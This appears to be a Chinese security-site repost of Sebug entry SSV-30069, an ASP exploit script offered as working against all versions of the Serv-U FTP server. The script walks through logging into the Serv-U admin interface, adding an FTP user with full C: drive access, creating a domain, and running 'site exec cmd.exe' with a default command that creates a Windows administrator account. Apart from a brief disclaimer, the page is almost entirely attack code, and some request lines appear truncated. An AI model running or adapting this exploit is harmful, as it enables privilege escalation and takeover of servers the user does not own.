网通主站  |  电信镜像

软件下载 黑客软件 安全相关 动画教程 常用软件 杀毒专栏 最新更新 国外黑软 手机软件 股票软件
技术教程 新闻动态 黑客技术 安全漏洞 加密解密 安全防御 病毒资讯 技术文摘 网络杂文 以前教程
软件教程 黑软教程 安软教程 系统工具 网络工具 多媒体类 图形图像 联络聊天 实用工具

QQ 专 区

返回首页
当前位置: 主页 > 安全漏洞 > Microsoft >

serv-u 最新通杀所有版本 EXP

SSV-ID: 30069 SSV-AppDir: Serv-U 发布时间: 2011-12-22 测试方法: @Sebug.net dis 本站提供程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负! !-- http://hi.baidu.com/isbx/blog/item/70e5eac4680f27b78326ac02.html 保存成xx.asp -- style typ

  
SSV-ID: 30069
SSV-AppDir: Serv-U
发布时间: 2011-12-22

测试方法:

@Sebug.net   dis
本站提供程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负!
  1. <!--
  2. http://hi.baidu.com/isbx/blog/item/70e5eac4680f27b78326ac02.html
  3. 保存成xx.asp
  4.  
  5.  
  6. -->
  7. <style type="text/css">
  8. <!--
  9. body,td,th {
  10. font-size: 12px;
  11. }
  12. -->
  13. </style>
  14. <%
  15. Function httpopen(neirong,fangshi,dizhi,refer,cookie)
  16. set Http=server.createobject("Microsoft.XMLHTTP")
  17. Http.open fangshi,dizhi,false
  18. Http.setrequestheader "Referer",refer
  19. Http.setrequestheader "Content-type","application/x-www-form-urlencoded"
  20. Http.setrequestheader "Content-length",len(neirong)
  21. Http.setrequestheader "User-Agent","Serv-U"
  22. Http.setrequestheader "x-user-agent","Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; .NET CLR 1.1.4322)"
  23. If cookie<>"" then
  24. Http.setrequestheader "Cookie",cookie
  25. End If
  26. Http.send neirong
  27. httpopen=bytes2BSTR(Http.responseBody)
  28. set Http=nothing
  29. end Function
  30.  
  31. Function getmidstr(L,R,str)
  32. int_left=instr(str,L)
  33. int_right=instr(str,R)
  34. If int_left>0 and int_right>0 Then
  35. getmidstr=mid(str,int_left+len(L),int_right-int_left-len(L))
  36. Else
  37. getmidstr="执行的字符串中不包含“"&L&"”或“"&R&"”"
  38. End If
  39. end Function
  40.  
  41. Function bytes2BSTR(vIn)
  42. strReturn = ""
  43. For i = 1 To LenB(vIn)
  44. ThisCharCode = AscB(MidB(vIn,i,1))
  45. If ThisCharCode < &H80 Then
  46. strReturn = strReturn & Chr(ThisCharCode)
  47. Else
  48. NextCharCode = AscB(MidB(vIn,i+1,1))
  49. strReturn = strReturn & Chr (CLng(ThisCharCode) * &H100 + CInt(NextCharCode))
  50. i = i + 1
  51. End If
  52. Next
  53. bytes2BSTR = strReturn
  54. End Function
  55. %>
  56. <%
  57. '----------自定义参数开始-----------
  58.  
  59. action=Request("action")
  60. loginpass=Request.Form("loginpass")
  61. port=Request("port")
  62. mydomain=Request.Form("mydomain")
  63. path=Request.Form("path")
  64. ftpport = Request.Form("ftpport")
  65. user=Request.Form("user")
  66. pass=Request.Form("pass")
  67. cmd= Request.Form("cmd")
  68. sessionid=Request("sessionid")
  69. organizationId=Request("OrganizationId")
  70. userid=Request("userid")
  71. domainid=Request("domainid")
  72.  
  73. '----------自定义参数结束-----------
  74.  
  75. select case action
  76.  
  77. case 1
  78. returns=httpopen("user=&pword="&loginpass&"&language=zh%2CCN%26","POST","","")
  79. sessionid=getmidstr("<sessionid>","</sessionid>",returns)
  80. if sessionid<>"" then
  81. Response.Write "login ok!"&"</br>"
  82. Response.redirect "?action=2&sessionid="&sessionid&"&port="&port
  83. else
  84. Response.Write "error!"&"</br>"
  85. end if
  86.  
  87. case 2
  88. call main2()
  89.  
  90. case 3
  91. returns=httpopen("","POST",")
  92. organizationIdTemp=mid(returns,instr(returns,"OrganizationUsers.xml&ID="),len("OrganizationUsers.xml&ID=")+15)
  93. organizationId=mid(OrganizationIdTemp,instr(OrganizationIdTemp,"=")+1,instr(OrganizationIdTemp,"""")-instr(OrganizationIdTemp,"=")-1)
  94. if organizationId<>"" then
  95. Response.write "get organizationId "&OrganizationId&" ok!"&"</br>"
  96. Response.redirect "?action=4&sessionid="&sessionid&"&port="&port&"&OrganizationId="&OrganizationId
  97. else
  98. Response.write "error!"&"</br>"
  99. end if
  100.  
  101. case 4
  102. call main3()
  103.  
  104. case 5
  105. returns=httpopen("","POST",")
  106. userid=getmidstr("<var name=""ObjectID"" val=""",""" />",returns)
  107. if userid<>"" then
  108. Response.write "get userid "&userid&" ok!"&"</br>"
  109. Response.redirect "?action=6&sessionid="&sessionid&"&port="&port&"&OrganizationId="&OrganizationId&"&userid="&userid
  110. else
  111. Response.write "error!"
  112. end if
  113.  
  114. case 6
  115. call main4()
  116.  
  117. case 7
  118. returns=httpopen("Access=7999&MaxSize=0&Dir=%2Fc%3A&undefined=undefined&MaxSizeDisp=&","POST",")
  119. returns=httpopen("LoginID="&user&"&FullName=&Password="&pass&"&ComboPasswordType=%E5%B8%B8%E8%A7%84%E5%AF%86%E7%A0%81&PasswordType=0&ComboAdminType=%E6%97%A0%E6%9D%83%E9%99%90&AdminType=&ComboHomeDir=%2FC%3A&HomeDir=%2F"&path&"&ComboType=%E6%B0%B8%E4%B9%85%E5%B8%90%E6%88%B7&Type=0&ExpiresOn=0&ComboWebClientStartupMode=%E6%8F%90%E7%A4%BA%E7%94%A8%E6%88%B7%E4%BD%BF%E7%94%A8%E4%BD%95%E7%A7%8D%E5%AE%A2%E6%88%B7%E7%AB%AF&WebClientStartupMode=&LockInHomeDir=0&Enabled=1&AlwaysAllowLogin=1&Description=&=&IncludeRespCodesInMsgFiles=&ComboSignOnMessageFilePath=&SignOnMessageFilePath=&SignOnMessage=&SignOnMessageText=&ComboLimitType=%E8%BF%9E%E6%8E%A5&LimitType=Connection&QuotaBytes=0&Quota=0&","POST",")
  120. Response.write "add user ok!"&"</br>"
  121. Response.redirect "?action=8&userid="&userid&"&port="&port&"&sessionid="&sessionid&"&OrganizationId="&OrganizationId
  122.  
  123. case 8
  124. call main5()
  125.  
  126. case 9
  127. returns=httpopen("DomainName="&mydomain&"&Description=test1&Enabled=1&EnableFTP=1&EnableFTPS=0&EnableSSH=0&EnableHTTP=0&EnableHTTPS=0&FTPPort="&ftpport&"&FTPSPort=990&SSHPort=22&HTTPPort=80&HTTPSPort=443&BindIPAddress=&","POST",")
  128. domainid=getmidstr("<ObjectID>","</ObjectID>",returns)
  129. Response.write "create domain ok!"&"</br>"
  130. Response.redirect "?action=10&userid="&userid&"&port="&port&"&sessionid="&sessionid&"&OrganizationId="&OrganizationId&"&domainid="&domainid
  131.  
  132. case 10
  133. call main6()
  134.  
  135. case 11
  136. set b=Server.CreateObject("Microsoft.XMLHTTP")
  137. b.open "GET", "", false, "", ""
  138. b.send "User " & user & vbCrLf & "pass "& pass & vbCrLf & "site exec c:\windows\system32\cmd.exe /c "& cmd & vbCrLf & "QUIT" & vbCrLf
  139. Response.Write Replace(b.responseText,chr(13),"<br>")
  140. Response.redirect "?action=12&userid="&userid&"&port="&port&"&sessionid="&sessionid&"&OrganizationId="&OrganizationId&"&domainid="&domainid
  141.  
  142. case 12
  143. call main7()
  144.  
  145. case 13
  146. returns=httpopen("IDs="&domainid&"&","POST",")
  147. Response.Write "临时域清理完毕!用户请手动清理,因为serv-u的userid变化我搞不懂."&"</br>"
  148.  
  149. case else
  150. call main1()
  151.  
  152. end select
  153.  
  154. sub main1()
  155. %>
  156. <form id="form1" name="form1" method="post" action="?action=1">
  157. <table width="264" border="0" align="center" cellpadding="0" cellspacing="0">
  158. <tr>
  159. <td colspan="2" align="center"><strong>第一步:获取sessionid</strong></td>
  160. </tr>
  161. <tr>
  162. <td align="right">管理端口:</td>
  163. <td><input name="port" type="text" id="port" value="43958" /></td>
  164. </tr>
  165. <tr>
  166. <td align="right">管理员密码:</td>
  167. <td><input name="loginpass" type="text" id="loginpass" value="1" /></td>
  168. </tr>
  169. <tr>
  170. <td colspan="2" align="center"><input type="submit" name="button" id="button" value="提交" />
  171. </td>
  172. </tr>
  173. </table>
  174. </form>
  175. <p align=center><strong>一般情况下不用改,如果管理员改了的话就填上去.</strong></p>
  176. <%
  177. end sub
  178. %>
  179. <% sub main2() %>
  180.  
  181. <form id="form1" name="form1" method="post" action="?action=3&sessionid=<%=sessionid%>&port=<%=port%>">
  182. <table width="264" border="0" align="center" cellpadding="0" cellspacing="0">
  183. <tr>
  184. <td colspan="2" align="center"><strong>第二步:获取OrganizationId</strong></td>
  185. </tr>
  186.  
  187. <tr>
  188. <td colspan="2" align="center"><input type="submit" name="button" id="button" value="提交" />
  189. </td>
  190. </tr>
  191. </table>
  192. </form>
  193. <p align=center><strong>这一步有点慢,请等待.</strong></p>
  194.  
  195. <% end sub %>
  196. <% sub main3() %>
  197.  
  198. <form id="form1" name="form1" method="post" action="?action=5&sessionid=<%=sessionid%>&port=<%=port%>&OrganizationId=<%=OrganizationId%>">
  199. <table width="264" border="0" align="center" cellpadding="0" cellspacing="0">
  200. <tr>
  201. <td colspan="2" align="center"><strong>第三步:获取userid</strong></td>
  202. </tr>
  203.  
  204. <tr>
  205. <td colspan="2" align="center"><input type="submit" name="button" id="button" value="提交" />
  206. </td>
  207. </tr>
  208. </table>
  209. </form>
  210.  
  211. <% end sub %>
  212. <% sub main4() %>
  213.  
  214. <form id="form1" name="form1" method="post" action="?action=7&sessionid=<%=sessionid%>&port=<%=port%>&OrganizationId=<%=OrganizationId%>&userid=<%=userid%>">
  215. <table width="264" border="0" align="center" cellpadding="0" cellspacing="0">
  216. <tr>
  217. <td colspan="2" align="center"><strong>第四步:加用户</strong></td>
  218. </tr>
  219. <tr>
  220. <td align="right">新ftp账号:</td>
  221. <td><input name="user" type="text" id="user" value="ash" /></td>
  222. </tr>
  223. <tr>
  224. <td align="right">新ftp密码:</td>
  225. <td><input name="pass" type="text" id="pass" value="hahaha" /></td>
  226. </tr>
  227. <tr>
  228. <td align="right">系统路径:</td>
  229. <td><input name="path" type="text" id="path" value="c:" /></td>
  230. </tr>
  231. <tr>
  232. <td colspan="2" align="center"><input type="submit" name="button" id="button" value="提交" />
  233. </td>
  234. </tr>
  235. </table>
  236. </form>
  237.  
  238. <% end sub %>
  239. <% sub main5() %>
  240.  
  241. <form id="form1" name="form1" method="post" action="?action=9&port=<%=port%>&userid=<%=userid%>&sessionid=<%=sessionid%>&OrganizationId=<%=OrganizationId%>">
  242. <table width="264" border="0" align="center" cellpadding="0" cellspacing="0">
  243. <tr>
  244. <td colspan="2" align="center"><strong>第五步:创建域</strong></td>
  245. </tr>
  246. <tr>
  247. <td align="right">要添加的域:</td>
  248. <td><input name="mydomain" type="text" id="mydomain" value="testhack" /></td>
  249. </tr>
  250. <tr>
  251. <td align="right">域端口:</td>
  252. <td><input name="ftpport" type="text" id="ftpport" value="60000" /></td>
  253. </tr>
  254. <tr>
  255. <td colspan="2" align="center"><input type="submit" name="button" id="button" value="提交" />
  256. </td>
  257. </tr>
  258. </table>
  259. </form>
  260.  
  261. <% end sub %>
  262. <% sub main6() %>
  263.  
  264. <form id="form1" name="form1" method="post" action="?action=11&port=<%=port%>&userid=<%=userid%>&sessionid=<%=sessionid%>&OrganizationId=<%=OrganizationId%>&domainid=<%=domainid%>">
  265. <table border="0" align="center" cellpadding="0" cellspacing="0">
  266. <tr>
  267. <td colspan="2" align="center"><strong>执行命令</strong></td>
  268. </tr>
  269.  
  270. <tr>
  271. <td align="right">FTP账号:</td>
  272. <td><input name="user" type="text" id="user" value="ash" /></td>
  273. </tr>
  274. <tr>
  275. <tr>
  276. <td align="right">FTP密码:</td>
  277. <td><input name="pass" type="text" id="pass" value="hahaha" /></td>
  278. </tr>
  279. <tr>
  280. <td align="right">FTP端口:</td>
  281. <td><input name="ftpport" type="text" id="ftpport" value="60000" /></td>
  282. </tr>
  283. <tr>
  284. <td align="right">你的语句:</td>
  285. <td><input name="cmd" type="text" id="cmd" value="net user admin admin123456 /add&net localgroup administrators admin /add" size="80" /></td>
  286. </tr>
  287. <tr>
  288. <td colspan="2" align="center"><input type="submit" name="button" id="button" value="提交" />
  289. </td>
  290. </tr>
  291. </table>
  292. </form>
  293. <p align=center><strong>注意:如果是serv-u 7.0,这里可以马上点提交.</strong></p>
  294. <p align=center><strong>注意:如果是serv-u 7.0以上,请在执行完上一步之后过大概半分钟才提交.</strong></p>
  295.  
  296.  
  297. <% end sub %>
  298. <% sub main7() %>
  299.  
  300. <form id="form1" name="form1" method="post" action="?action=13&port=<%=port%>&userid=<%=userid%>&sessionid=<%=sessionid%>&OrganizationId=<%=OrganizationId%>&domainid=<%=domainid%>">
  301. <table width="264" border="0" align="center" cellpadding="0" cellspacing="0">
  302. <tr>
  303. <td colspan="2" align="center"><strong>删除临时域</strong></td>
  304. </tr>
  305.  
  306. <tr>
  307. <td colspan="2" align="center"><input type="submit" name="button" id="button" value="提交" />
  308. </td>
  309. </tr>
  310. </table>
  311. </form>
  312.  
  313. <% end sub %>
 
------分隔线----------------------------